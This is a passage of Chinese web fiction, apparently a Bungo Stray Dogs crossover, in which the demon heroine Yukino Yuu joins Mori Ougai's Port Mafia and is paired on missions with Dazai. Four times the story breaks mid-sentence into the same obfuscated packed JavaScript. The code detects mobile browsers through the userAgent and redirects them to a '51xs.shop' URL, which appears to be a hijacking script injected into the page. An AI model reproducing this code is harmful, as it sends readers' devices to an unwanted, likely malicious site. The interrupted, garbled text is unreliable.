唔,好像是在挑选一种可以随时带在脸上的面具,让他能够完美地融入当前环境的面具。 直到飞机耳绷带猫咪介绍自己叫太宰治。 “谁?太宰治?”雪野夕差点从墙角蹦起来,“写《人间失格》那个?” 对面的少年好像也有点惊讶,原本死气沉沉的脸上出现了一个轻微挑眉的动作,“小姐听说过我?甚至连我的异能力都知道。” 雪野夕又有了一种将栗子酱拿出来狠狠揉搓一番的想法,这个世界一看就不正常,她不会是穿越到了什么文豪的同人文里吧? 如果是文豪同人文的话……那么首先发生变化的应该就是那个了! 想到这里,她从诊所墙角的阴暗蘑菇变回社交状态,非常诚恳地对太宰治说:“那个,你有钱吗?来张大钞。” “没有哦。”太宰治身上还在滴水,“毕竟我只是一个落水后被森先生捡到、身无分文的可怜人呀。” 雪野夕理解地点点头,“嗯,我也是。” 结束这个话题,她朝着森鸥外伸出了手。 “雪野酱,真不见外呢。”森鸥外掏出一张大钞递过来,果然,上面不是应该出现的那位。 但考虑到在这个世界里这就是真钱,她平静地把端详后的钱装进兜里。 森鸥外:…… 所以刚刚就只想要钱吗?好无情。 “总之,要好好相处哦,太宰,雪野酱。”森鸥外直起身子看着自己捡回来的两个孩子……嗯,距离计划实施又近了一步。 他笑得真像一只不怀好意的狐狸,雪野夕心下暗暗吐槽,明明目的都写在脸上了,但拿捏了她白天不能出门晚上没处可去的弱点,所以光明正大地展示自己的野心。 等他欢快地哼着歌带着爱丽丝去了药品储藏室,雪野夕才问旁边的太宰治,“你为什么会同意加入港口mafia啊?” 肯定不是缺钱这种理由!否则他可以随便选一家牛郎店发家致富?哎等等,牛郎店收未成年吗? “虽然总感觉你在想一些失礼的事情。”太宰治和她一样在角落里像朵阴郁的蘑菇一样蹲了下来,“是森先生告诉我,加入这里也许可以找到生命的意义。” 这样啊……雪野夕点点头,“听起来像是拐骗小孩的理由。”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13306267|140283||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>“真是的,雪野酱还是那么擅长在背后说我的坏话啊。”森鸥外拿着一杯水和几粒药片走过来,然后把这两样递给太宰治。 雪野夕嗅到了微苦的味道,再结合药片上熟悉的包衣,她问:“退烧药?” 怪不得旁边的人看起来脸有点红,散发出来的温度也很高,原来是快要半熟了。 不过眼前的药品看起来有点粗糙,她很怀疑是不是刚刚森先生去里面手搓的。 此时正值黄昏,最多半个小时过去,黑夜就会笼罩整个横滨,森先生的脸色不知为何看起来有些感慨。 但是…… “趴下!”雪野夕猛地伸手按倒旁边的太宰治,森鸥外也在爱丽丝的提醒下及时闪开,飞旋而来的子弹打穿了身边的沙发,在上面留下一个焦黑的弹孔。 “又有想抢药品的人来了。”躲在柜台后面的森鸥外感叹,“还真是像烦人的苍蝇一样,赶都赶不走啊。” “我还以为没人敢打劫港口mafia呢。”雪野夕顺口接了一句,心中却已经察觉到了不对劲。 “好痛……”发烧烧到四十度的太宰治被按倒在冷冰冰的地板上,感觉自己的额头好像起了个大包,“我的异能力能让其他异能无效化……刚刚离死亡那么近,居然被救了……好可惜。” 居然对血鬼术也有用,雪野夕选择性无视他后面的话,拎着他的领子把他也扔到森先生旁边,果然,双方停止接触,她的血鬼术又回来了。 门外还在无差别扫射,估计还要过一会儿才能停下。 她叹了口气,从袖子里掏出栗子酱,“你,出去看看情况。” 瑟瑟发抖的肥啾震惊到连眼泪都憋回去了,“啊?我吗?” “对,就你,进击吧!愤怒的小鸟!”雪野夕懒得废话,找了个窗户死角,微微瞄准,下一秒—— “啾!!!” 一声凄厉的鸟叫响起,圆滚滚的栗子酱从窗户里被丢了出去。 “刚刚那是什么东西?”晕乎乎的太宰猫揉了揉额头,“从窗户飞出去了。” “你能看见栗子酱!?”这次雪野夕是真的惊讶了,之前见过她的所有人都看不见系统这只蠢肥啾,但眼前这个病怏怏的人居然看得见? 太宰治有气无力地点了下头,心里总算生出一点微末的兴趣。 对他来说,这个世界因为太过简单而无趣,又因为太过污浊而让人由衷地厌倦。 外面的枪声一停,随后诊所的大门被粗暴地踹开,发出砰地一声,几个高壮的男人踩着门板和落日的尾巴走了进来。 但很不幸,落日只眷顾了他们不到一分钟。 “怎么样啊雪野酱。”躲在柜子后的森鸥外突然笑眯眯地开口,“你也觉得这群人很烦吧?” “如果同样找不到在这个世界生存的意义的话。”他刻意地在“这个世界”几个字上咬重了发音,“不如就从现在开始,融入这里哦。” “哦?” “就比如说……清除这些不打招呼就私自闯入别人家里的老鼠,怎么样?” 9. 港口大楼 如果有一天,生活发生了翻天覆地的变化,不要着急,不要焦虑,因为生活多半还会狠狠地将你玩弄一番。 这是我再次穿越后的唯一感想,虽然在设定里,我的年纪应该还在犯中二病,但没想到的是,生活的中二程度竟然远远地吊打了我。 森先生曾经用非常正经的语气对我说过,等我当上了首领,你升职加薪走上人生巅峰都不是问题。 哈! 不愧是男人,我已经经历过两届老板,他们一个是喜欢玩cosplay的暴躁teenager,实际上没什么心智,另一个心智成熟,但喜欢画大饼,还有自己离谱的小爱好,是我想随时举报他的那种。 所以说人类啊……啧! 最近在研究回去的方法,既然可以穿越到这里,应该也可以再回到那个有鬼的世界吧? ——【雪野夕の日记,9月31日。】 砰—— 一个壮汉从屋里飞出去,又在空中旋转了几圈,才狼狈地摔落在马路上,看上去骨头断了不少,不可能再爬起来继续战斗了。 刚刚也就是他,进屋扫视了在场的三人后,欺软怕硬地用枪口对准了她的额头。 森医生还有点用处,旁边那个小孩看起来太死气沉沉了,正好拿她来杀鸡儆猴。 所以…… “哇哦,飞得真远。”雪野夕从地上站起来,看向还剩下的几个人,“你们也想和他一样吗?” 坦白来说,她并不是什么一定要赶尽杀绝的人,但很不幸,这种人在她身边到处都是。 在跟着黑死牟学习剑技时,他经常以绝对的强弱看待事物,所以当他们撞到零星的鬼杀队员之后,对方也绝无生还的可能。 显然,森鸥外也是这种人,或者说,他是习惯衡量一个人的价值,达成最优解罢了。 而眼前这些前来夺取药品的人,在他看来就毫无疑问属于需要被清除的对象。 ……这一切都跟她有关系吗?她只不过是个无家可归的过客,刚刚的攻击也不过是因为对方先一步动手而已。 “看起来真痛……果然不能是这种死法。”太宰治的眼神毫无光彩地从门外倒地不起的人身体上略过。 至于森鸥外则是在跟爱丽丝感叹,“真是的,雪野酱看起来不愿意为了我而战呢。” “可惜……”他的嘴角露出势在必得的笑容,“当他们冲进来的那一刻,我们就已经被迫牢牢地绑在同一条战船上了呀。” “是异能者!我们一起上!” 黑洞洞的枪口对准了雪野夕的身体,下一秒,火力全开,数不清的子弹包围了她。 雪野夕站在原地,打了个响指,无数飞射而来的子弹就像是撞上了一片异次元空间,尽数被吞噬不见。 “本来还想故意让你们跑掉看看森先生的笑话呢。”她面无表情,“但现在反而是被他得逞了,真不爽啊。” “那么……”她迎着他们颤抖的身体走上前,“是因为这个,才铤而走险的吗?” 随着她血鬼术的发动,对面领头人也发出了痛苦的惨叫声,他的肚子上破了一个洞,鲜血汩汩涌出。 “不用叫得那么大声哦。”雪野夕打量着身前悬浮的一小包白色药粉,“我只是剖开了你的胃,当然,如果你刚刚没有攻击我,我就可以让你毫无痛苦地取出它呢。” 对面首领已经支撑不住倒在了地上,蜷缩着身体痉挛着,而他带来的人也很没有同伴爱,见此情况果断地撤离了,匆忙而去的身影同样无视了还躺在马路上的人。 “这是走私来的‘神药’。”带上手套的森鸥外抓住了那一小包药粉,“现任港口mafia首领,迷恋权力,痴迷长久的生命,所以在生病后对横滨掀起了血雨腥风,只为了满足一己私欲。” “这一小包药粉,据说是号称有‘治愈百病,延年益寿’的奇效。”他语气中不知不觉带上了一点讽刺,“可惜,为了让这个东西出现在他的面前,横滨已经有无数人葬送了生命。” “听起来像是老年人被保健品推销员诈骗了。”雪野夕锐评。 地上还在咬着牙颤抖的男人似乎是想要殊死一搏,他怨恨地瞪着两个聊天的人,凭什么?凭什么输了的是我? 我一定要……砰! 枪声再次响起,男人的身体彻底瘫软了下去,身下的血红缓缓蔓延开。 太宰治不知何时捡起了他们逃跑时落下的枪,扣动扳机后的后坐力让他本就孱弱的身体摇晃了一下,几秒后也倒在了地上。 “哎呀。”森鸥外收起药粉,假惺惺地问:“太宰君没事吧?” “后坐力有点大。”太宰治躺在冰凉的地板上,终于撑不住闭上了眼睛,“不过……还是刚刚雪野小姐把我按倒在地板上那一下……最痛……” 雪野夕:“……” 她明明是好心施救啊! 就这样,在完成了初步准备后,森鸥外决定夺取港口mafia的首领之位。 他借口为首领医治,并准备献上“神药”,一个星期后,首领果然要求面见森鸥外。 而森医生也不负所望,利落地用手术刀结果了老首领。 他转了个身,“太宰,雪野,你们就是我的见证……等等,你们在做什么?” 拉着窗帘的漆黑房间里,太宰治坐在沙发上,手里拿着烧杯和玻璃板,正在配制什么东西,而雪野夕靠在窗帘下的阴影里,手里拿着一本书念念有词,仔细一看,书皮还是粉红色。 “我在尝试把升压药和降压药一起喝,看看会发生什么。”这是双目无神的太宰治。 “我在看新出的少女漫,作者到底在画些什么?!”这是眉头紧皱的雪野夕。 森鸥外:“……” 唉,还是算了吧,起码现在轮到他登上首领之位了。 带上代表港口mafia首领的红围巾,如今,港口大楼的顶楼的风景可以被他尽收眼底。 晚间,雪野夕被他叫来了首领办公室。 黑色的窗帘并未 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13306268|140283||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 落下,从明净的玻璃窗内看去,远处就是月色下波光粼粼的海洋。 “雪野酱,从这里看去,觉得风景怎么样?”森鸥外背对着她,眺望着横滨的海港。 “风景很好,我以前可没有机会见到大海呢。”雪野夕在他身侧站定,“但森先生叫我来的目的应该不是欣赏横滨的夜景吧?” 森鸥外忍不住摸了摸手边爱丽丝的头,“我还想再客套两句呢,雪野酱。” “既然如此,我们就直入正题吧。”他轻轻叹了口气,“横滨确实是座很美的城市,不是吗?” “我们人人都是如此的喜爱这里,即使在别人看起来,我是港口mafia的首领,还是一个杀掉先代上位的混蛋。” “我的老师,曾经提出一个叫做【三刻构想】的理论……” “这个世界不是非黑即白的,我们每个人更有自己的位置,即使是我,在组织的战车中,也是一枚棋子,不过是权重更大的那个。” 雪野夕默默听完了这一切,突兀地发问,“森先生,您的老师的名讳是……” “这个嘛。”森鸥外像只大狐狸一样眯了眯眼睛,“你猜猜看?” 是个名人吧,雪野夕心想,大概率是个有名的文豪,但究竟会是哪一个呢? 一直被盯着的森鸥外难免感到了好奇,尤其是对方的神色好像朝着一个奇怪的方向去了…… “咳咳,我的老师名叫夏目漱石哦,雪野酱,感觉你猜了什么失礼的东西呢。” 果然是个名人吗?她点头,不再纠结这个了,至于作家们的生平什么的就被她自动忽略了——谁知道她所在的漫画是不是现实世界的同人啊? “那么,雪野,你愿意加入港口mafia,一起守护横滨吗?” 银月下,首领向他看中的宝石发出了邀请。 时间流逝了一秒、两秒…… 雪野夕轻轻呼出一口气,“我很认可您的一句话——世界不是非黑即白的,即使将身边人乃至自己当做棋子实在是有些无情了……” 森鸥外的动作并没有改变。 “但是……这无疑是一场新奇的冒险。”雪野夕向他微微鞠躬,“所以,森首领,我加入。” 看来宝石愿意被他收入宝石匣中了,森鸥外满意地点了点头,从身后拿出一顶黑色的、带着橄榄绿色缎带的女式爵士帽。 “新人加入港口mafia的时候,引领的前辈都会送给新人一件信物。”他双手把帽子扣在雪野夕头上,宽大的帽檐能完全挡住从上方洒落进来的光线。 “我送给太宰的是一件黑色大衣,这顶帽子就送给你了。” “……这一身和我的和服可不搭配啊,首领。”而且太大了,她要用一只手抬着帽檐才能看见眼前的东西。 “我就说了不是这个尺寸嘛,可恶的林太郎!”看见谈话完毕,一直安安静静的爱丽丝撅起嘴巴开始告状,“果然审美最差了!” “爱丽丝酱……”这是捂着胸口倒下的森鸥外。 10. 执行任务 我想试试能不能回到那个有鬼的世界,但两次穿越都是那辆破卡车害的,我本人毫无头绪。 思来想去,我只能回到我在横滨第一次刷新的地点——鹤见川。 傍晚开始下了雨,鹤见川上像是开了一朵朵小花,站在雨里看了一会儿,我感觉心情更坏了。 不管怎么样,结局也就是成功和失败两种结局而已。 但我忽略了一个重要问题,那就是因为那天在水里吐泡泡的经历,让我学会了游泳。 在水里面能够放弃挣扎的人也许有,但肯定不是我,于是最终的结局就变成了硬币立在地上的选项—— 我伤心地在鹤见川里游了半个小时,看着激流滚滚的河水和越来越大的雨,更伤心了。 然后游着游着,我真的撞上了一个东西,捞起来一看,居然是太宰治,他脸色苍白,看起来真的快要窒息了。 …… ——【雪野夕の日记,10月10日。】 雪野夕泡在河水里,有点不知所措地看着被她拎出水面的太宰治,对方脸上毫无血色,被她上下一拎卡住喉咙,下意识吐了两口水出来。 十月的冰雨很快将太宰治无情地拍醒,他睁开灰暗无神的眼睛,咳了咳,虚弱地问:“……谁在打扰我入水。” 哦,那就不是不小心掉下来的了,雪野夕表示理解,“不好意思太宰先生,刚刚不小心把你提起来了,我马上就走。” 她这次动作轻缓地把太宰治放回了水里。 太宰治:“……咕噜咕噜咕噜。” “我还有事,先走了。”雪野夕惆怅地抹了一把眼泪,“我还是改天再来跳河吧。” 因为想找找穿越条件,从而在雨天哭着跳进鹤见川,然后又因为自己会游泳这件事在河里哭着游了半个小时,这件事,除了她的日记她一定要烂在心里。 ……隔天,首领办公室。 森鸥外坐在宽大的椅子上,双手交叠撑着下巴,若有所思,“我听说,你们两个昨晚相约跳鹤见川?” 雪野夕神色抑郁,“那倒没有,我们只是偶遇,我还以为我选的地方很偏僻呢。” “我也觉得我选的入水地风景绝佳,应该没有人会来打扰才对……阿嚏!”太宰治因为昨晚在河水里泡了半天,成功再次感冒了。 昨晚雪野夕游回了岸边,还没来得及把自己衣服上的水弄干,就听到身后传来了一声闷响。 回过头来,岸边正是被浪冲上岸后半死不活的太宰治。 更恰好的是,不远处也赶来一队荷枪实弹的黑衣人,看上去是在执行任务的中途上司不见了,所以只能带着满身尘烟出来寻找。 “雪野小姐。”他们匆匆打招呼,“您看见……啊,太宰先生在这里!” 一个黑衣人上前熟练地进行按压和心肺复苏,另一个人则惊奇地看着他们两个,“雪野小姐,您和太宰先生是一起刚从河里出来吗?” 好劲爆!明天的传闻应该就会变成,首领的学生太宰治和被他引领进入港口mafia的强大异能者雪野夕晚间相约鹤见川后双双入水,疑似殉情! “我俩今晚可能确实一起跳了河。”雪野夕神色惆怅,“我跳我的,他跳他的,结果十分倒霉地在河里相遇了。” “……确实。”不知何时醒来的太宰治晃悠着从地上爬起来,“雪野小姐上岸后,我也被水流冲过来了。” “下次还是不要在下雨天跳河了。”雪野夕一个响指把自己身上的水剥离干净,“毕竟从河里探出头的时候,被雨滴砸到还挺疼的。” 缠着绷带的太宰治深以为然地点点头,“雨天肺部进水的感觉也确实不怎么愉快啦。” 一人一鬼就莫名其妙地在这种事情上达成了共识,但传言还是出现了—— 刚刚提过的那两位,最终决定在一个阳光灿烂的日子里殉情! 太宰治:充满朝气,听上去不错。 雪野夕:……阳光灿烂?好极了,那我死定了。 听完全程的森鸥外都无语了,“……你们也需要时间磨合,正好,现在就有一个任务需要你们去做。” 他们两个退出首领办公室的时候,雪野夕正好一目十行看完了任务地点和任务要求。 而太宰治就简单多了,他扫了一眼就把纸张团成了球,一抬手丢了出去。 栗子酱像个欢乐的小狗一样跟着纸团飞出去,又被雪野夕一只手捞回来。 “啾!”肥啾可怜兮兮地看着她,使劲扇了扇翅膀挣开束缚,结果一头撞在了太宰治头上。 一人一鸟相撞,栗子酱倒飞出去,太宰治咣当一声倒地不起。 “栗子酱,你力气这么大吗?”雪野夕震惊地抓住小胖鸟。 “不是啦啾!”栗子酱也飞到躺在地上的太宰治旁边,贴了贴他的脸,“好烫啾!” “居然又发烧了吗?”她也蹲下身,看着太宰治红扑扑的脸,“看来十月入水是坏文明。” 太宰治再次醒过来时,是在他自己的办公室里,窗帘拉得严严实实,雪野夕坐在沙发上,非常无聊地扔着刚刚折出来的纸飞机。 “为什么……我在地上?”他难得有点茫然地问,“我好像才是病人吧?” “准确的说不是地上,你在地毯上。”雪野夕纠正了一下他的话,“你的地毯比沙发软,而且更大。” “我真是谢谢你啊,雪野小姐。”太宰治有气无力地吐槽了一句。 下一刻,谈话被打断,尾崎红叶端着药进来了。 这次不是好吞咽的药片或者胶囊了,而是一大碗黑漆漆的冲剂。 “等等,闻起来就好苦,我不要喝!”太宰治弹射起身,虽然起来后一阵头晕目眩,但还是撑着没有倒下。 雪野夕:……好像猫咪应激炸毛。 她看向尾崎红叶,呃,话说在她的印象里这个姐姐的本体应该是男的吧? “不可以哦,太宰君。”尾崎红叶露出了恶魔般的微笑,“毕竟因为你自杀太多次,所以以后的药都要换成这种哦。” “那我以后都不喝药了。”太宰治 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13306269|140283||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 揪了揪缠在头上的绷带。 “交给你了夕酱。”尾崎红叶早就知道会有眼前这一幕,“毕竟接下来,他是你的任务搭档。” 正在联想着猫咪出神的雪野夕下意识接话,“什么?硬灌进去还是把下巴卸掉?” 小黑猫愣了一下,默默地蹲下团起了自己。 尾崎红叶把托盘放在桌子上,“夕酱,有时间来一趟审讯室吧。”她觉得她是个可塑之才。 “啊?好啊。”雪野夕端起了药碗,看向地上的太宰治。 他出色的观察力早就看出自己的容貌应该很合她胃口,于是此刻,小猫咪选了一个从下往上仰望的角度,试图用自己的楚楚可怜打动她。 然后就被雪野夕捏住了下巴。 “挺好,还懂得配合我。”她满意地点点头,“把嘴巴张开。” 被捏住下巴的太宰治:“……呜呜。” 还未来得及离去的尾崎红叶:“哇哦。” 因为房门没关而敲门后直接进来的黑衣人下属:“……在下、在下只是,不小心的。” 说着,他就要砰一声关上门。 “是来询问任务的吗?”雪野夕脸上的表情非常淡定,“今晚就去做,明天把任务报告交上去。” “……好、好的。”下属大汗淋漓地退了出去。 救命啊!他为什么要多此一举,居然看见尾崎干部抄手站在一边,带着满脸慈爱(?)笑容看着雪野小姐往太宰先生嘴里灌散发着奇怪气味的黑色液体! 想想太宰先生执行任务时的作风,以及雪野小姐从没出差错的任务记录,他觉得自己很快就要被辞职了。 被灌下一整碗药的太宰治了无生趣地瘫在地毯上,浑身散发着“我好惨”的气息。 “这次的任务……就拜托你了,雪野酱。”他颤颤巍巍地侧过身,鸢色的眼睛里还隐约泛着泪花,“我……” “你已经把药喝了,半小时后出任务。”雪野夕坐在地毯的一角,用非常温柔的语气告诉他,“自己的工作不可以推给别人哦。” 太宰治死不瞑目地倒下了。 “好残忍……真的好残忍。”他躺在地毯上开始撒娇,还顺便悄摸摸把落在一边用豆豆眼观察他的栗子酱拢过来控诉,“明明雪野酱的下属也说雪野酱在非任务期间都找不到人嘛。” 手里的小鸟没有消失,刚刚那种实体的感觉果然不是错觉,这个居然不是异能的化身吗? 那为什么别的人都看不见呢?还是说这东西是…… 太宰治借机在毛绒绒的地毯上滚了一圈,来到雪野夕身边,柔软的发丝几乎要碰上雪野夕的衣角,“真的不能……” “不可以哦。”她突然伸手摸了摸太宰治的头发,触感果然软乎乎的,甚至因为他在发烧的原因,还比平时湿润一些。 太宰治抖了一下。 因为雪野夕抽回手时,食指和中指间刚好夹了一枚黑色的小圆片。 笑话,他一凑过来自己的血鬼术就失效了,怎么可以不警惕起来呢? 11. 岸边船上 太宰治是个有点烦人的人,具体表现为在肢体上边界感很弱,在心理上边界感像个无尽深渊。 对于偷偷在我身上放窃听器的事情,他干脆往地上一趟,蓬松的黑发垂落在脸颊上,一副“我只是个小猫咪我什么都不懂”的模样。 完成任务后的第二天,他更是像没事人一样打招呼,这心理素质,啧。 而且感觉加入了港口mafia又传出了一起殉情的传言后,他的下属一遇到什么事就都来向我求救,具体表现为—— “雪野大人!太宰大人又跳鹤见川了!” “雪野大人!这个任务他让您帮一下忙,他忙着打游戏!” “雪野大人!太宰大人不吃饭……” ——【雪野夕の日记,10月23日。】 雪野夕一拳锤在自己面前的桌子上,实木桌子就那么断成两截,发出一声巨响。 站在桌子对面的黑衣人狠狠一抖,但想到如果任务完不成,太宰先生一定会把错误算到自己头上来…… 于是他还是坚定地站在雪野夕的办公室里,没有挪动脚步。 雪野夕的办公室里漆黑一片,厚实的遮光帘遮住了两扇落地窗,宽阔的室内只有占满了一墙的巨大书柜和书柜前的桌椅。 除此之外,就是另一侧地面上随便堆叠着的彩色半人大小抱枕,以及木桌上那一盏小小的台灯。 随着桌子断裂,台灯也滚落在地,散发的微弱光芒只够照亮方寸之地,至少面色很差的雪野大人已经完全隐没在了黑暗里。 黑衣人盯着那盏台灯,战战兢兢地想着,怎么他连呼吸声都没有听见呢? 也许是过了几分钟,他才听到雪野夕的声音,她好像冷笑了一声,“怎么?现在连他不吃饭这种事都要告诉我了?” “你是在指望我去喂他吗?” “这、这个……”黑衣人藏木汗流浃背,“其实是因为今天有个紧急任务,首领希望两位大人一起行动……但是、但是太宰先生好像……” “嗯?” “好像饿晕过去了……” 下一刻,太宰治的办公室门被猛然推开,脸色苍白的太宰治躺在沙发上,看上去有气无力的。 雪野夕已经从他的下属嘴里全面地了解到了这个人的生活习惯——晚上不睡,白天也不睡;早饭不吃,晚饭也不吃;上班不干,下了班也不干。 其实也是森先生派下来的任务太多的原因。 雪野夕只在晚上出门,在人手不足的时候,需要白天干的活就全部被他交给了太宰治,没有丝毫的怜悯。 毕竟港口mafia刚刚结束动乱不到一个月,事多钱少新上司难搞,还没有异能许可证,属实是草台班子。 雪野夕闯进办公室,扫视一圈,站在太宰治旁边汇报的下属默默退开。 然后太宰治就看见雪野夕面无表情地端起了白粥,搅动勺子的样子像是在把针管里的空气排干净。 嗯,下一步应该就是注射死刑了吧…… 这还真是个美好的幻想啊。 直到一勺加上了蟹肉丝的白粥被塞进了嘴里。 太宰治:? 没等他咽下嘴里的粥,下一勺就塞了进了。 “呜……”他试图反抗,然后就看见了雪野小姐恐怖的表情。 五分钟后,一小碗白粥干干净净,雪野夕顺手把空碗交给了身后的藏木,“不错,这次不用威胁你。” “……”,太宰治从来没如此迅速地喝完一碗粥,即使那碗粥里的食物也不过就是两口而已,“……总感觉我是雪野小姐的宠物。” “栗子酱比你省心多了。”雪野夕看了看手表,有一种“孩子吃饭慢那就打一顿”的气息,“任务?” “是在一艘船上。”藏木点头哈腰的样子让太宰治都怀疑他到底是谁的下属了。 “船上,那就是走私了,像上次一样?” “是的。” ———— 雪野夕拎着太宰治出现在了港口,身后空无一人。 这也是森鸥外的指示,排出她执行武斗任务时一般不会有下属跟随,这样也能减少人手折损。 等到将敌对组织的有生力量消磨地差不多,就让太宰治审讯套出情报,对港口mafia 有用的就吃掉,用不上的信息则是再做打算。 这次的任务照样很成功,雪野夕只是站在船尾发动血鬼术,就能将船上的所有人一个不落地传送到她的面前。 威逼利诱,总会有一个人愿意开口,而一旦有人开了这个口子,剩下的事情也就好办多了。 直到游刃有余的雪野夕听到“扑通”一声,大概是有人落水了。 果然,转过头去,身后待在船舷的太宰治已经不见人影。 那工作就交给明天的他吧,雪野夕转了转手中的伞柄,挡下几乎不剩几丝的落日,对着眼前的几个人打了个响指。 “红叶姐。”她拨通了电话,“审讯室应该多了几个人,嗯嗯,是我刚刚弄过去的,记得明天让太宰治去套出情报哦。” “……这种时候,居然还在谈工作吗?”身后传来太宰治水鬼一样的声音。 他扒着船舷爬了上来,浑身湿漉漉地站在原地,水珠顺着发丝落在脸上,滚落的样子看上去楚楚可怜的。 尤其是他还穿着一整套西装,身上缠着绷带,“啊,刚刚的蟹肉粥很美味,吃饱了看到如此适合入水的场景,就情不自禁地跳下去了呢。” 他看着绕着他扑棱翅膀的栗子酱,它因为他浑身都湿了没处落脚,只能又飞回雪野夕的帽檐上卧好。 “连栗子酱都在嫌弃我吗?”太宰治状似伤心地退后两步,“果然还是……厌倦了。” 他头发蓬松,又常年缠着绷带,非常适合做鸟窝,因此栗子酱还挺喜欢他的,经常落在他的头顶上。 对此,雪野夕吐槽,长头顶鸟用。 她抬了抬被栗子酱压得遮住眼睛的帽子,对方接收到信号,飞到了伞上面的尖尖上。 “既然上来了,我们该回去了。”雪野夕转身,长发在空中划出一道弧度,“跟上来。” “雪野小姐真冷酷。”太宰治碎碎念,但身体还是很诚实地和她一起走下了甲板,“所以他们才会说人家是你的宠物啦!” “你也不听我的啊。”雪野 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13306270|140283||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 夕听着他念叨的话,鬼的听力很灵敏,即使他不站在伞下,她也能轻易地听清他的小声抱怨。 “人家还是叛逆的年纪啊!”太宰治的尾音上翘,像是俏皮地打了个结,但眼睛里依旧是一片死寂。 “那我也是中二的年纪哦。”雪野夕最后转了一圈伞柄,将它“咔”地一声收拢,最终变成一根手杖握在掌心。 “但是雪野小姐看起来每天都不开心的样子哦。”太宰治歪歪头,看起来倒真有一点儿这个年纪的样子。 他们正好走到一座小喷泉面前,喷漆中的石雕上还有几只鸽子,正在看着他们咕咕叫,喷泉周围的那一圈石台上,还趴卧着一只可爱的三花猫,看见她来就刻意地伸了个懒腰,接着把毛绒绒的猫猫头伸过来求顺毛。 “大概是我分不清这个世界的真实吧,太宰君。”她理所当然地停下脚步撸猫,“我分不清我到底是真实的……人类?还是只是一个被随意创造出来的东西。” “都说人类惧怕死亡,所以为了逃避死亡的命运,会在【死】的威胁下做出各种各样行动。” “我也是这样的。”她直视太宰治的眼睛,却在里面看到了混乱的光辉,“我惧怕死亡的结局,厌倦重复的命运,但在这个世界上,我随波逐流,找不到自己存在的意义。” 栗子酱在啄着她的手背,可是她仍然问出了那一句话—— “如果我只是一个被创作出来的物品,那么还需要每日努力地活着吗?” 毕竟在作家的笔尖,命运的好与坏不过是一念之间,生死也只是对方抛下的一枚硬币而已。 “我……”一向巧舌如簧的太宰治此时像是怔住了,在他眼中腐朽的世界似乎此时就吸饱了水压在他的身上,让人莫名喘不过气。 果然……十月入水是坏文明呢。 三花猫蹭了蹭眼前少女的手,蹲坐得更加端正了。 雪野夕也在栗子酱担忧的眼神中恢复了平静,手背上一块皮肤被它揪得发红。 “抱歉,太宰先生。”她轻轻呼出一口气,听着耳边细细的水声和鸽子拍动翅膀的声音,“也许刚刚的话,确实是我在中二中才能说出的发言呢。” 她退后一步,整理好帽子和西装大衣,转头看向浑身都在滴水的太宰治,夜晚的寒意让他此时浑身都在轻轻发抖。 “我们回去吧。”雪野夕把热乎乎的栗子酱塞给他,栗子酱也努力挺了挺身子,把自己炸毛成一个小小的毛球,像是要给颤抖的人更多的温度。 “我可不想要你的下属明天又来告诉我,让我去喂你吃饭,到时候说不定你失眠了也需要我过去把你打晕过去哦。” 太宰治被栗子酱软和的触感猛然惊醒,他稍微结巴了一瞬间,嘴唇蠕动着说出两个毫无意义的音节。 然后他拢了拢手心里的栗子酱,迈开脚步跟了上去。 会说出想要反抗命运的雪野小姐,她的命运是不是已经掌握在自己手中了呢?遮着眼睛的绷带精漫无目的地思索着。 那我呢?那我的命运呢……或者说,我的意义又在哪里…… 看着两人远去的背影,石台上的三花猫再次伸了个懒腰。 12. 是羊之王 新老板和屑老板比起来,是个野心很大的人,但同时,他又深深地喜爱着横滨这座城市,这大概并不算矛盾,可好得让森先生的人格魅力提升了。 之所以要在日记里面吐槽他,大概是因为最近他依旧在烦恼港口mafia的人手严重不足吧。 我不能在白天出门,太宰治又不是武斗派,再加上这个人对身体的爱惜程度约等于负数,森先生都恨不得快要自己上前线了吧? 于是在这种烦恼中,他开始在横滨寻找起了新的宝石。 用他的话来说,人才就像宝石一样,让他忍不住去收藏与打磨。 